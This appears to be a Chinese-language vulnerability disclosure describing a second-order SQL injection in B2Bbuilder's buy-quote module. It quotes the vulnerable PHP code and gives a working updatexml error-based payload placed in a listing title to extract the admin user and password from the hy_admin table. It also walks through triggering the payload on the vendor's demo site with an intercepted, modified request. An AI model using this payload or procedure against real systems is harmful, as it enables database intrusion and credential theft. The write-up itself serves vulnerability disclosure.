B2Bbuilder最新版SQL注入(DEMO演示)

module/buy/detail.php存在如下代码:

<?php include_once("$config[webroot]/module/buy/includes/buy_class.php"); //=================================================== //报价提交 if(!empty($_POST['ajax'])) { $id=$_POST['id']*1; if(empty($buid)) exit('uid');//未登录 if($id) { $db->query('select valid_time from '.BUY.' where id='.$id.' limit 1'); $valid_time=$db->fetchField('valid_time'); $num=(strtotime(date($valid_time))+24*60*60)-time(); if($num<0) exit('timeout'); //报价结束 $db->query('select count(*) as num from '.BUY.' where id='.$id.' limit 1'); $num=$db->fetchField('num'); if(empty($num)) exit('nobuy'); //求购已经删除 $db->query('select count(*) as num from '.BUYQPRO.' where buy_id='.$id.' and seller_id='.$buid.' limit 1'); $num1=$db->fetchField('num'); if($num1) exit('es'); //已经报价了 //---------------------- foreach($_POST['pname'] as $key=>$v) { $con[]=array($v,$_POST['number'][$key],$_POST['unit'][$key],$_POST['price'][$key],$_POST['bprice'][$key]); } $con=serialize($con); $flag=$db->query("insert into ".BUYQPRO."(buy_id,seller_id,con) values('$id','$buid','$con')"); //--------------------插入消息提示 if($flag) { $db->query('select userid,title from '.BUY.' where id='.$id.' limit 1');//这里取出了title $re=$db->fetchRow(); $userid=$re['userid']; $title=$re['title'];//求购名称 $fromInfo=NULL; $date=date("Y-m-d H:i"); $sql="insert into ".FEEDBACK." (touserid,sub,con,date,msgtype) VALUES ('$userid','您求购的[$title]有新报价','<a href=\"main.php?m=buy&s=admin_buy_list&id=$id\">点此查看</a>','$date','3')";//这里带入了title $res=$db->query($sql); } if($flag) exit('ok');//报价成功 } exit('error');//未知错误 }

可以看到:

$db->query('select userid,title from '.BUY.' where id='.$id.' limit 1');//这里取出了title

('$userid','您求购的[$title]有新报价','<a href=\"main.php?m=buy&s=admin_buy_list&id=$id\">点此查看</a>','$date','3')";//这里带入了title,没有过滤

于是我们在后台发布:

https://democn.b2b-builder.com/main.php?m=buy&s=admin_buy

title写入:' or updatexml(1,concat(1,(SELECT concat(user,0x23,password) FROM `hy_admin` limit 1)),1) or '

1.jpg

这里提交就写入了title

之后发现尼玛没有审核……不能够报价……

2.jpg





然后随便找一个可以报价的:
 

3.jpg





抓包并修改ID为自己的:
 

4.jpg





然后不提交,扔到repeater(也可以直接forward然后抓返回包~)
 

5.jpg


于是就得到账户密码了